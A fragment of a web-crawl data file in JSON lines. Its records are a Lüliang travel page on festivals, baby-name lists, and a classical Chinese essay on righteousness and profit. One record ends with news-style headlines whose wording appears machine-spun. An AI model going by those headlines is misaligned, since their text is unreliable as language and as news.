-MAIN-20210726000859-20210726030859-00243.warc.gz","language":"lzh","language_score":0.480416894,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4804168939590454, \"cmn_Hani_score\": 0.29720166325569153, \"nan_Hani_score\": 0.045167624950408936, \"jpn_Jpan_score\": 0.04351642355322838, \"wuu_Hani_score\": 0.03883687034249306, \"zxx_Latn_score\": 0.022295275703072548}","num_words":108,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.48,"perplexity_score":500.0,"cluster_detection":1} +{"text":"歡迎您訪問呂梁!\n想去0\n去過0\n節慶:七夕節 中秋節 端午節 春節 七夕節時間:農歷七月七日民間在街頭巷口用樹枝等物扎一對青年男女像,象征牛朗織女相會,在像前敬獻瓜果桃李祝賀。此外姑娘媳婦以種種方式向織女討...\n太原旅游指南 大同旅游指南 陽泉旅游指南 長治旅游指南 晉城旅游指南 朔州旅游指南 晉中旅游指南 運城旅游指南 忻州旅游指南 臨汾旅游指南","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.timetovino.com\/holiday\/","date":"2021-08-05T13:50:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046155925.8\/warc\/CC-MAIN-20210805130514-20210805160514-00607.warc.gz","language":"lzh","language_score":0.4370429218,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4370429217815399, \"cmn_Hani_score\": 0.4084049463272095, \"yue_Hani_score\": 0.0687621459364891, \"jpn_Jpan_score\": 0.04738163948059082, \"nan_Hani_score\": 0.033484864979982376}","num_words":18,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n章诗野 章朝恒 章铁山 章皓然 章轶纯 章轶晨 章堰蝉 章一苹 章进努 章进庸 章敬庸 章腾雍 章炼雍 章圣雍 章倍雍 章辈雍 章堰然 章竞雍 章进雍 章培雍 章廉雍 章幸雍 章雍航 章雍瀚 章瀚雍 章晗雍 章浩雍 章致雍 章沛雍 章霁雍 章敬雍 章献 章思翰 章至程 章忻宛 章依雨 章依宛 章三年 章馨心 章泽标 章可人 章翱翔 章海畅 章宇翔 章翔宇 章芷琦 章芷琪 章岷 章红星 章福君 章建龙 章伟峰 章方雨 章翎 章子云 章烨玟 章烨雯 章云珠 章玉烨 章汐汐 章雪琪 章妮妮 章晨暄 章婉菁 章已 章下栩 章黠栩 章句芴 章敏慧 章祺浩 章祺皓 章骅杰 章子杰 章书诚 章芷毓 章羽欣 章华在 章峻玮 章艳丹 章易凡 章涵睿 章淑方 章华举 章小波 章琚 章飓 章驹 章聚 章倨 章讵 章春荠 章紫楠 章堰池 章雍池 章铭诚 章民安 章已民 章一民 章一铭 章安建 章紫林 章语研 章司仪 章惠欣 章汇欣 章荟欣 章卉心 章慧心 章会心 章美人 章锦绣 章淑锦 章书锦 章孝利 章萧萧 章吉吉 章格格 章天歌 章天天 章糖糖 章洳锦 章汝锦 章如锦 章发林 章映珠 章桓嘉 章桓硕 章益帆 章婕 章道建 章易东 章易冬 章汉子 章毅奇 章敬 章栩硕 章栩嘉 章幸朗 章培朗 章俊朗 章梨 章依 章逸坤 章子迎 章航飞 章子灵 章子缨 章子祯 章子帧 章子垭 章觉民 章爱风 章金海 章涵铖 章新雨 章丽珍 章佩兰 章桂珍 章树青 章烨佳 章旭锋 章桂炎 章焕军 章琼飞 章蓓飞 章骁铭 章雅飞 章宏菊 章友法 章爱琦 章加炜 章靖斯 章斌斌 章智豪 章嘉琦 章家琪 章新建 章新生 章雨铮 章雨钰 章小青 章云腾 章柏林 章松德 章宇凡 章鸿敏 章鸿宇 章天昊 章昊天 章不凡 章鑫涛 章冰儿 章艳敏 章明祥 章彰 章雁滨 章世博 章世帛 章筱玮 章丁太 章凝华 章雨华 章森华 章霖华 章楚翘 章楚华 章铠华 章海华 章楷华 章霄华 章韶华 章小木 章一华 章小夏 章依华 章之华 章逸华 章翌华 章挺可 章晓晖 章韫晓 章志斌 章晓骅 章晓桦 章晓铧 章晓榆 章之瑜 章晓瑜 章之菲 章晓菲 章晓华 章华晓 章沐子 章子睦 章木子 章夏木 章睦 章大勇 章夏 章夏睦 章跃华 章斌杰 章远敏 章易成 章琦森 章著成 章绮森 章禹 章天禹 章浩涛 章悠 章小悠 章思涵 章墨涵 章思齐 章根明 章钰坤 章广庆 章欣瑞 章欣睿 章睿宁 章馨宁 章子越 章秀清 章泽强 章诩嘉 章絮嘉 章荣贵 章小满 章俗群 章晓群 章小群 章筱群 章思磊 章姚烨 章龄 章炜淇 章嘉熠 章煜涵 章岚斐 章恬静 章珏岚 章海靓 章恬靓 章子奕 章觊岚 章靓 章优雅 章楚君 章佳炯 章雨暄 章淼焱 章小耿 章炯 章翔 章宇搏 章争炎 章建兰 章晨 章鸣宇","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/www.qmsm.com\/show_404.aspx","date":"2018-12-16T17:26:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827963.70\/warc\/CC-MAIN-20181216165437-20181216191437-00532.warc.gz","language":"lzh","language_score":0.7686335444,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7686335444450378, \"cmn_Hani_score\": 0.19026455283164978, \"jpn_Jpan_score\": 0.032949112355709076}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.764,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王宽苕 王款常 王款菊 王葵储 王葵阁 王葵焕 王葵郎 王葵山 王葵樟 王奎沧 王奎票 王奎丘 王奎通 王奎隐 王奎由 王奎予 王逵永 王逵堇 王逵轸 王昆缤 王涞冉 王涞苡 王蓝菊 王蓝惟 王蓝幸 王蓝旭 王篮财 王篮文 王篮辛 王篮卮 王镧干 王镧慎 王镧伊 王镧卮 王镧堇 王览贯 王览览 王览隐 王览勇 王览钟 王览舟 王琅戈 王琅贯 王琅廓 王琅祈 王琅斐 王乐创 王乐菱 王乐送 王垒桐 王垒旋 王犁刚 王犁含 王犁颢 王犁骆 王犁渺 王犁哲 王篱葛 王篱鲸 王篱玄 王礼菊 王礼蒙 王礼绅 王礼永 王莉沈 王莉童 王莉颜 王莉央 王砾樟 王利兢 王利仑 王利通 王利行 王力桨 王力语 王力淇 王联测 王联钒 王联洪 王联临 王联预 王敛波 王敛棠 王粱秉 王粱励 王粱欧 王粱肖 王僚定 王僚童 王僚享 王僚旋 王僚英 王僚涌 王僚综 王辽菠 王辽园 王辽兹 王林柯 王林崎 王林业 王林州 王林铄 王霖佰 王霖春 王霖适 王霖悟 王霖沂 王临奇 王临威 王临嵩 王领佰 王陵迪 王陵木 王陵幸 王陵孛 王鎏竞 王鎏骆 王鎏添 王鎏玉 王六敖 王六票 王六喜 王六择 王六照 王隆戈 王隆宽 王隆能 王隆也 王隆禹 王隆郁 王隆择 王隆钟 王隆旎 王鹿佰 王鹿宝 王鹿宽 王鹿元 王鹿崧 王潞盾 王潞铁 王潞旋 王录方 王录乐 王录沐 王录攀 王录丘 王录骥 王路综 王铝贾 王铝镭 王铝蔚 王铝溢 王铝铄 王旅漠 王旅迦 王洛涌 王洛语 王洛茆 王骆亨 王骆棠 王骆循 王玛歌 王玛鲸 王玛朗 王玛莛 王玛骐 王码创 王码冈 王码贾 王码菊 王码兹 王码胤 王冒堡 王冒墨 王冒幸 王冒淅 王萌鲸 王萌菊 王萌能 王萌前 王萌铣 王萌玄 王梦恭 王梦贤 王绵笺 王绵铁 王绵责 王绵漕 王绵霆 王免弘 王免详 王免瞻 王苗煌 王苗浓 王邈魁 王邈沫 王邈品 王邈丘 王邈造 王邈钲 王邈韬 王敏宝 王敏菠 王敏遇 王鸣白 王鸣今 王鸣荣 王鸣绅 王鸣巳 王鸣岚 王名钞 王名冈 王名馆 王名列 王名五 王蓦厚 王蓦华 王蓦漠 王蓦昭 王蓦粼 王谟当 王谟籍 王谟昆 王谟列 王谟逊 王谟业 王谟原 王谟贞 王谟遵 王谟韪 王漠充 王漠云 王漠驿 王漠韬 王谋崎 王谋帅 王谋洲 王眸机 王眸警 王眸颂 王眸蔚 王木铭 王木默 王木先 王木修 王木择 王穆阁 王穆馆 王穆光 王穆轸 王穆铄 王沐成 王沐客 王沐辛 王沐虞 王拟烈 王拟允 王年赫 王年旅 王年崖 王年阳 王宁纲 王宁激 王宁酿 王宁晰 王宁舟 王诺贤 王诺叶 王诺遇 王诺勖 王欧榜 王欧来 王欧吾 王欧晗 王欧霈 王湃赐 王湃坚 王湃今 王湃警 王庞杰 王庞鹏 王庞汕 王庞万 王裴白 王裴沐 王裴舟 王澎定 王澎过 王澎函 王澎文 王彭锋 王彭光 王彭默 王彭崖 王朋彬 王朋吉 王朋默 王朋鹏 王朋寅 王朋孛 王匹坚 王匹金 王匹粱 王匹列 王匹阳 王匹寅 王匹爻 王匹砺 王凭升 王凭羡 王凭怿 王评城 王谱璁 王谱豪 王谱砚 王谱涌 王谱佑 王谱漕 王谱骅 王七郎 王七业 王七振 王萁郝 王萁舟 王萁骞 王齐宝 王齐杰 王旗备 王旗当 王旗洪 王旗华 王祈来 王祈震 王祈潇 王启赐 王启国 王启章 王迁竞 王迁祈 王迁悟 王迁泫 王迁屿 王迁嵩 王仟峻 王仟苇 王前承 王前惟 王前荟 王前昊 王潜贯 王潜旭 王乔当 王乔管 王乔豪 王乔笺 王乔桨 王乔蒙 王乔维 王钦康 王钦仑 王钦酌 王钦炫 王亲火 王亲烈 王亲水 王亲汀 王亲宪 王勤搏 王勤干 王勤籍 王勤炜 王卿殿 王卿奇 王顷汀 王丘幸 王丘琦 王曲过 王曲漠 王曲中 王曲漕 王榷充 王榷驹 王榷坦 王榷晗 王群戈 王群昆 王群镧 王群阳 王群组 王群韬 王燃煌 王燃径 王燃菊 王燃昆 王燃粱 王燃十 王燃汀 王燃童 王燃组 王人楷 王人浦 王人玄 王任储 王任豪 王戎循 王戎苠 王戎韪 王戎昶 王戎霈 王茸全 王如蒙 王如灶 王如莛 王汝樊 王汝际 王汝水 王汝玺 王瑞勤 王润桨 王润竞 王润能 王润雨 王若承 王若禾 王若扬 王若振 王若苡 王三宁 王三丘 王三羡 王三炎 王三灶 王三舟 王森仑 王森沫 王森瞳 王森玮 王杉过 王杉起 王杉振 王杉舟 王杉韬 王杉铄 王商革 王商郝 王商伊 王赏庚 王赏则 王韶储 王韶魁 王韶前 王韶送 王韶语 王少观 王少廓 王少喻 王少轸 王芍遵 王芍珩 王芍斐 王芍霈 王绅宽 王绅犁 王绅儒 王绅童 王绅维 王慎局 王慎滔 王慎哲 王生栢 王生宝 王生倡 王生品 王生希 王生炎 王生译 王生峄 王升富 王升羽 王升玉 王升玺 王胜览 王胜寺 王胜肖 王胜岳 王胜佐 王胜峄 王师亨 王师火 王师刊 王师朗 王师渺 王师茸 王师先 王适科 王适儒 王适炫 王守财 王守临 王守原 王守争 王树钞 王树樊 王树骐 王树珑 王墅根 王墅含 王墅昆 王墅叶 王墅译 王墅尹 王恕汕 王恕水 王恕烯 王恕孜 王帅光 王帅兢 王帅崧 王栓客 王栓渝 王栓淇 王斯鸿 王斯焕 王斯谚 王斯园 王斯柃 王思冈 王思列 王巳庚 王巳基 王巳局 王巳睦 王巳通 王巳卮 王诵夫 王诵生 王诵肃 王诵详 王诵择 王诵哲 王诵争 王凇昭 王凇晟 王穗堡 王穗得 王潭滔 王潭韪 王探列 王探旭 王探迎 王探永 王堂锋 王堂旬 王堂尹 王堂珑 王棠鸿 王棠土 王棠越 王棠珑 王棠晟 王淘贾 王淘漠 王淘择 王淘照 王淘岚 王淘峄 王陶焕 王陶贾 王陶墨 王陶帅 王天兵 王天宫 王天崎 王天曦 王田享 王田勇 王廷弘 王廷桨 王廷晋 王廷前 王廷庆 王廷勖 王艇火 王艇雷 王艇由 王通列 王通乔 王通童 王通昭 王桐图 王桐肖 王桐屿 王桐玉 王巍卮 王唯乐 王唯谦 王唯详 王唯英 王委涞 王委中 王委砺 王未干 王未颢 王未镜 王未奇 王未竹 王卫盾 王卫峡 王五定 王五欧 王五沈 王五寅 王昔函 王昔肖 王昔溢 王昔勇 王昔则 王昔章 王昔骞 王熙冬 王熙驻 王熙潇 王浠伦 王浠什 王浠预 王浠崧 王羲测 王羲川 王羲巩 王羲蔚 王羲崖 王羲岳 王曦石 王曦休 王曦炜 王汐川 王习过 王习荣 王习迎 王习玺 王喜沥 王喜前 王喜先 王喜钟 王夏澄 王夏生 王夏阳 王夏佐 王夏侃 王先焕 王先孟 王先儒 王先喻 王先制 王先舟 王先佐 王先岚 王贤秉 王贤川 王贤当 王贤孟 王贤著 王贤旎 王舷郝 王舷贤 王舷勇 王现禾 王现念 王现茸 王现慎 王现肃 王县敖 王县骞 王详框 王详宁 王详选 王详早 王响测 王响韧 王响艮 王向章 王向中 王向韬 王萧静 王萧峡 王萧虞 王晓槐 王晓雷 王晓沐 王晓轲 王晓霈 王孝宫 王孝宏 王孝框 王孝列 王孝潇 王孝珩 王校达 王校拳 王校迎 王校罡 王啸雷 王啸列 王啸儒 王啸水 王啸也 王啸由 王薪吉 王薪壹 王锌扩 王锌贤 王锌遵 王锌铄 王昕城 王昕竞 王昕毅 王昕爻 王忻爵 王忻汕 王星渺 王星冉 王星升 王星肃 王星组 王星荞 王型帮 王型当 王型冬 王型州 王醒驰 王醒郎 王醒铁 王醒童 王醒锡 王醒斐 王休纲 王休宏 王休佳 王休评 王休逊 王许居 王许驹 王许韧 王许孛 王旭常 王旭贯 王旭柯 王旭铭 王旭评 王旭雨 王旭预 王旭助 王旭苡 王旭骅 王绪班 王绪根 王绪兹 王玄帮 王玄什 王玄文 王玄嵩 王渲刊 王渲镭 王渲希 王渲选 王雪丘 王雪券 王雪曳 王雪涌 王雪佐 王勋基 王勋佳 王勋甲 王寻堡 王寻测 王寻歌 王寻骆 王寻尹 王寻震 王迅浦 王迅孜 王亚鲸 王亚祈 王亚与 王亚遇 王研厚 王研康 王研山 王研炎 王研峄 王衍壹 王衍元 王衍州 王衍琚 王堰赐 王堰默 王堰讯 王谚宾 王谚成 王谚观 王谚昆 王谚郎 王谚镭 王尧览 王尧声 王尧瞳 王尧行 王冶驰 王冶茸 王冶峄 王曳函 王曳剑 王曳杰 王曳旬 王一赫 王一甲 王一券 王一与 王壹道 王壹考 王壹券 王壹声 王壹灶 王壹玺 王沂昆 王沂镧 王沂品 王沂评 王沂遇 王沂灶 王沂玮 王以财 王以威 王以沂 王以炫 王易镐 王屹管 王屹金 王屹语 王屹章 王屹祯 王屹铄 王屹霆 王亿睦 王亿预 王亿苕 王亦今 王亦峄 王亦粼 王意当 王意览 王毅岛 王毅贯 王毅镜 王毅驹 王忆默 王忆苠 王忆钊 王义观 王义笺 王义胤 王溢沥 王溢帅 王溢崖 王溢佑 王溢志 王溢炜 王译菱 王译玄 王翼葛 王翼旭 王翼昊 王殷备 王殷贾 王殷永 王迎贯 王迎际 王迎金 王迎扩 王迎涞 王迎乔 王迎旋 王赢铝 王赢谦 王赢淅 王庸波 王庸峻 王庸浦 王庸悟 王庸弦 王庸屹 王咏樊 王咏鸿 王咏柯 王泳菠 王泳海 王泳石 王勇弦 王由迎 王有栢 王有剑 王有韧 王有堇 王有铄 王友根 王友粱 王友喜 王又宾 王又焕 王又铭 王又木 王又遇 王又迦 王于帮 王于爵 王于砾 王于列 王于铭 王于品 王于惟 王于弦 王于肖 王于迦 王余陆 王余十 王余由 王愉庚 王愉金 王予虞 王予枥 王雨班 王雨彬 王雨成 王雨坦 王与乔 王与尊 王与轲 王屿好 王屿快 王屿悟 王禹柏 王禹巳 王郁涞 王郁沥 王郁儒 王郁钲 王裕葛 王裕兢 王裕郁 王裕苕 王裕韪 王豫善 王豫肃 王豫沂 王豫禹 王豫尊 王豫峄 王原谦 王原冉 王原橡 王越翱 王越剑 王越双 王越苕 王越峄 王跃帮 王跃测 王跃煌 王跃今 王跃越 王粤激 王粤禺 王月庚 王月渺 王月水 王月曦 王月中 王悦冀 王悦墨 王悦洲 王阅堡 王阅骅 王耘白 王耘兵 王耘成 王耘孟 王耘浓 王耘亭 王耘肖 王耘旋 王匀烈 王匀夏 王匀勖 王允储 王允当 王允刚 王允升 王允谚 王允禹 王允造 王允旌 王蕴亨 王蕴忠 王蕴钟 王造柏 王造漠 王造晰 王造寅 王造酌 王造骐 王造旌 王责静 王责峻 王责鹭 王责沐 王责庆 王责廷 王责曳 王择仑 王择亭 王泽波 王泽锋 王泽奇 王泽助 王泽莛 王樟纲 王樟好 王樟霈 王章澳 王章机 王章桨 王章铭 王章元 王章造 王章责 王彰瞳 王彰悟 王彰扬 王彰漕 王浙甲 王浙乐 王浙旎 王枕骆 王枕振 王枕砺 王箴境 王箴局 王箴羽 王箴驻 王榛榜 王榛宏 王榛评 王镇激 王镇楷 王镇烈 王镇镕 王镇详 王镇珑 王征鹤 王征望 王征烯 王征毅 王征佐 王征勖 王征莛 王拯孛 王钲缤 王钲达 王钲国 王支夏 王知班 王知评 王知永 王知瞻 王知昭 王之赫 王之渝 王之责 王执澳 王执境 王执形 王执庄 王志澳 王志缤 王志框 王志韧 王志佐 王志侃 王志斐 王志旌 王致局 王致框 王致拳 王致文 王秩殿 王秩籍 王秩什 王秩央 王祉溢 王祉照 王质竞 王质涞 王质劳 王质水 王质送 王质琚 王忠峻 王忠酿 王忠哲 王衷评 王衷寺 王衷肖 王衷孛 王众辛 王众寅 王众志 王众钟 王洲珑 王昼念 王昼爽 王昼毅 王昼则 王著沫 王著堇 王篆财 王篆鸿 王篆晋 王篆励 王篆石 王篆怿 王自郝 王自业 王宗函 王宗沈 王宗图 王宗灶 王组杰 王组寅 王组早 王组照 王组禺 王组胤 王组粼 王鬲豪 王鬲泾 王鬲钊 王侃起 王侃苇 王侃竹 王侃旎 王诠干 王诠恭 王诠及 王诠选 王诠与 王诠酌 王诤维 王诤影 王勐菠 王勖恭 王莛剑 王莛铁 王莛瞻 王荃柏 王荃鹏 王荃水 王荃曳 王荃岚 王莘戈 王莘望 王莘遇 王莘骐 王莘琦 王菁局 王菁勤 王菁亭 王菁洲 王菁莘 王菁峄 王菁骐 王菁斐 王菘定 王菘恭 王菘贯 王菘勤 王菘怡 王嶙秉 王嶙今 王嶙壹 王嶙照 王洵兢 王洵润 王洵廷 王洵土 王洵烯 王浏澄 王浏粼 王浔棉 王浔善 王浔有 王浔综 王洳干 王洳添 王淞倡 王淞胤 王淞堇 王漕帮 王漕犁 王漕业 王漕震 王潼菊 王潼酿 王潼茸 王濡保 王濡成 王濡籍 王濡径 王濡棉 王濡评 王濡侃 王濡钊 王宥白 王宥馆 王宥堂 王宥瞻 王宸沧 王宸酿 王宸评 王宸亭 王宸悟 王宸喻 王宸哲 王寮考 王寮园 王珈莫 王珈壹 王珈骅 王琦测 王琦镐 王琦沥 王琦运 王琦玮 王琛临 王琛瞳 王韬庆 王韬滔 王韬威 王韬烯 王韬迦 王韬轸 王杞春 王杞贯 王杞豪 王杞崧 王桦阁 王桦睦 王桦贤 王桦肖 王桦砚 王梵兵 王梵厚 王梵径 王梵宽 王梵圣 王梵雨 王昊连 王昊粱 王昊添 王昊玺 王昙冈 王昙贾 王昙伦 王昙丘 王昙圣 王昙竹 王昙恺 王昙韪 王昙霆 王晔创 王晔机 王晔潇 王晖春 王晖苇 王晖旬 王晖炜 王肴鹭 王肴宁 王肴谚 王肴有 王斐肃 王斐棠 王斐原 王斐章 王斐骐 王旎楷 王旎宽 王旎魁 王炜达 王炜干 王炜责 王炜苠 王烨十 王烨漕 王煊雷 王煊帅 王煊植 王砺居 王砺铝 王砺通 王砺禹 王睿园 王睿著 王睿崧 王钛佰 王钛观 王钛券 王钛予 王钿迪 王钿歌 王钿冀 王钿铭 王钿睦 王钿宁 王镖漠 王镖万 王镖橡 王镖英 王筠阁 王筠廷 王筠旌 王箐杰 王箐廓 王箐览 王箐渝 王雳鲸 王雳魁 王雳棠 王雳植 王霆桂 王霆旅 王霆棠 王霆万 王霆尊 王霈柏?\n【辟谣】刘明炜丢准考据,考点在一中!合肥人留意,一年一度的准考据丢失谣言又来啦!\n8点08分!毛坦厂学子出征2018高考!陪读父母万人送考!加油!班师!(图)?\n【草根拍客】郁金香高地旅客核心,公益宣传牌呈现初级错误和不规范,莫非不消审核吗?\n报名啦!下个周一,四时花海节能趣味活动会!超高能的闯关游戏,丰厚礼物等您拿!\n十二星座2018年6月运势详解,包罗:白羊座2018年6月运势、金牛座2018年6月 …[详情]!","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/www.igeyin.com\/archives\/1007","date":"2019-06-17T06:07:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627998376.42\/warc\/CC-MAIN-20190617043021-20190617065021-00198.warc.gz","language":"lzh","language_score":0.9807052612,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9807052612304688, \"nan_Hani_score\": 0.018268564715981483}","num_words":1350,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"这种祈福的起名方法从古至今在民间都非常流行,谁不期待自己的宝宝未来的人生能够和顺、富裕、发达呢? 【1】、 秦忆秋 秦鹏程 秦骊蓉 秦书桃 秦明智 秦康适 秦薇歌 秦雅韶 【2】、 秦元彤 秦希月 秦惜筠 秦春兰 秦世英 秦元魁 秦春竹 秦海昌 【3】、 秦永怡 秦宾实 秦嘉佑 秦阳霁 秦雅逸 秦芷雪 秦沈静 秦秀逸 【4】、 秦彭魄 秦秋柳 秦含巧 秦愉婉 秦光临 秦玉石 秦向卉 秦英毅 【5】、 秦尔阳 秦德运 秦寻菱 秦晴霞 秦友灵 秦柔洁 秦昆雄 秦子萱 【6】、 秦芳荃 秦春绿 秦晗晗 秦觅云 秦夏兰 秦尔真 秦以珊 秦芬菲 【7】、 秦曼吟 秦骊媛 秦夏青 秦夏菡 秦春蕾 秦如彤 秦季同 秦驰媛 【8】、 秦颖秀 秦力勤 秦英媛 秦南蕾 秦霞赩 秦夏山 秦子实 秦海白 【9】、 秦姝美 秦浩思 秦问萍 秦柔煦 秦思琳 秦颖慧 秦凌丝 秦代柔 【10】、 秦绮梅 秦亦巧 秦晓兰 秦飞捷 秦绮美 秦俊力 秦白安 秦德辉 【11】、 秦海雪 秦婉容 秦晗玥 秦怀绿 秦采莲 秦靖儿 秦忆梅 秦君昊 【12】、 秦婉秀 秦玉泽 秦叶农 秦方雅 秦炫明 秦奥维 秦代蓝 秦茂材 【13】、 秦安卉 秦雅静 秦晴曦 秦智渊 秦敏丽 秦从珊 秦采波 秦和璧 【14】、 秦芳春 秦甜恬 秦千柔 秦雅韵 秦访烟 秦新雪 秦承福 秦坚成 【15】、 秦逸雅 秦紫玉 秦思真 秦唱月 秦雅琴 秦秋柔 秦丽文 秦淑哲 【16】、 秦浩渺 秦俊良 秦婷玉 秦晓桐 秦聪慧 秦小楠 秦雪萍 秦绮彤 【17】、 秦芷珊 秦念柏 秦芳苓 秦天亦 秦嘉怡 秦寒云 秦望慕 秦三姗 【18】、 秦静涵 秦昊东 秦又槐 秦和志 秦曜瑞 秦痴柏 秦谷兰 秦秋荣 【19】、 秦睿达 秦皓月 秦欣可 秦维运 秦醉卉 秦宏伯 秦秋灵 秦鹏鲸 【20】、 秦慧秀 秦珍瑞 秦绿兰 秦菀柳 秦雪峰 秦雁山 秦运珹 秦英叡 【21】、 秦水风 秦仪芳 秦半蕾 秦高畅 秦宜年 秦沛芹 秦浩大 秦静枫 【22】、 秦纳兰 秦泰宁 秦博涛 秦清舒 秦梦山 秦志文 秦阳嘉 秦静安 【23】、 秦韦曲 秦瑾瑜 秦旎旎 秦诗柳 秦沛岚 秦语心 秦乐荷 秦夜柳 【24】、 秦星火 秦永安 秦骊红 秦鹏翼 秦兰月 秦访风 秦竹悦 秦婉秀 【25】、 秦谷梦 秦阳旭 秦翠巧 秦冬莲 秦静白 秦承教 秦希彤 秦明凝 【26】、 秦长逸 秦玉兰 秦书云 秦乐蓉 秦丹秋 秦妙芙 秦清淑 秦寄真 【27】、 秦和志 秦以柳 秦良哲 秦碧萱 秦令梅 秦凌翠 秦昂然 秦小翠 【28】、 秦力夫 秦伶伶 秦思萱 秦丹彤 秦经纬 秦问筠 秦宏恺 秦雪卉 【29】、 秦宜然 秦玉怡 秦芳苓 秦昊嘉 秦靖之 秦初蓝 秦夏岚 秦静慧 【30】、 秦正卿 秦觅露 秦梓榆 秦高旻 秦惜文 秦晴雪 秦瑜璟 秦浩宕 【31】、 秦星瑶 秦天蓝 秦瀚彭 秦青香 秦静安 秦飞飙 秦觅丹 秦易云 【32】、 秦彗云 秦弘亮 秦德本 秦语蝶 秦涵涵 秦高谊 秦寻雪 秦高朗 【33】、 秦高芬 秦贝莉 秦巧荷 秦梓暄 秦盼芙 秦尔阳 秦宜春 秦乐正 【34】、 秦乐意 秦夏璇 秦阳飙 秦雪儿 秦华晖 秦夜柳 秦晴岚 秦恨蕊 【35】、 秦绣文 秦璎玑 秦玮琪 秦语海 秦半蕾 秦从蓉 秦向雁 秦蕙兰 【36】、 秦瑜然 秦冰之 秦凌晓 秦嘉言 秦才英 秦永逸 秦诗桃 秦寻云 【37】、 秦悠逸 秦懿轩 秦依波 秦迎真 秦晨曦 秦春柔 秦芳春 秦伶伶 【38】、 秦兴贤 秦又莲 秦圣杰 秦俊驰 秦秀妮 秦子凡 秦嘉澍 秦语梦 【39】、 秦乐芸 秦书桃 秦慧巧 秦慕悦 秦昊空 秦雪风 秦雅爱 秦秋露 【40】、 秦飞虎 秦高寒 秦俨雅 秦添智 秦璇珠 秦高峯 秦碧螺 秦夜雪 【41】、 秦天和 秦凝蝶 秦兴言 秦丹萱 秦绿海 秦语心 秦驰婷 秦浩丽 【42】、 秦康震 秦翠巧 秦清卓 秦妙芙 秦秀梅 秦格格 秦静枫 秦婷婷 【43】、 秦靖儿 秦痴梅 秦凌寒 秦芳洁 秦丽容 秦英豪 秦香桃 秦晨朗 【44】、 秦惜文 秦开畅 秦雨筠 秦幼旋 秦咏德 秦盼秋 秦初晴 秦映寒 【45】、 秦红叶 秦斯乔 秦思琪 秦天媛 秦哲美 秦寒梅 秦又莲 秦泽惠 【46】、 秦靖柏 秦飞兰 秦令梅 秦嘉瑞 秦飞烟 秦乐意 秦绮山 秦南晴 【47】、 秦鸿福 秦飞荷 秦夏兰 秦茹云 秦尔阳 秦觅露 秦寄容 秦融雪 【48】、 秦曼彤 秦梅雪 秦靓影 秦嘉庆 秦静曼 秦雅容 秦合美 秦小凝 【49】、 秦建同 秦昆鹏 秦曼容 秦湛芳 秦信瑞 秦凯康 秦白曼 秦芮优 【50】、 秦平良 秦霞雰 秦骏琛 秦之槐 秦新儿 秦紫南 秦乐心 秦驰皓 【51】、 秦诗霜 秦翠桃 秦元冬 秦沛槐 秦昊嘉 秦成和 秦冷亦 秦乃心 【52】、 秦悠雅 秦洛灵 秦清绮 秦清秋 秦曼容 秦晨蓓 秦子辰 秦雅安一个好听的男孩名字自然要回避开一些不雅字、不吉字,尽量使用吉祥美好的字眼儿。\n关键词: 起名知识","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/qimingzhishi\/769.html","date":"2019-12-15T15:32:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575541308604.91\/warc\/CC-MAIN-20191215145836-20191215173836-00484.warc.gz","language":"lzh","language_score":0.9999881983,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9999881982803345}","num_words":419,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.354,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"身之养重於义第三十一\n天之生人也,使人生義與利,利以養其體,義以養其心,心不得義,不能樂,體不得利,不能安,義者、心之養也,利者、體之養也,體莫貴於心,故養莫重於義,義之養生人大於利。奚以知之?今人大有義而甚無利,雖貧與賤,尚榮其行以自好,而樂生,原憲、曾、閔之屬是也;人甚有利而大無義,雖甚富,則羞辱大,惡惡深,禍患重,非立死其罪者,即旋傷殃憂爾,莫能以樂生而終其身,刑戮夭折之民是也。夫人有義者,雖貧能自樂也;而大無義者,雖富莫能自存;吾以此實義之養生人大於利而厚於財也。民不能知,而常反之,皆忘義而殉利,去理而走邪,以賊其身,而禍其家,此非其自為計不忠也,則其知之所不能明也,今握棗與錯金以示嬰兒,嬰兒必取棗而不取金也,握一斤金與千萬之珠以示野人,野人必取金而不取珠也。故物之於人,小者易知也,其於大者難見也,今利之於人小,而義之於人大者,無怪民之皆趨利而不趨義也,固其所闇也,聖人事明義以照燿其所闇,故民不陷。詩云:「示生顯德行。」此之謂也。先王顯德以示民,民樂而歌之以為詩,說而化之以為俗,故不令而自行,不禁而自止,從上之意,不待使之,若自然矣,故曰:聖人天地動、四時化者,非有他也,其見義大,故能動,動故能化,化故能大行,化大行故法不犯,法不犯故刑不用,刑不用則堯舜之功德,此大治之道也,先聖傳授而復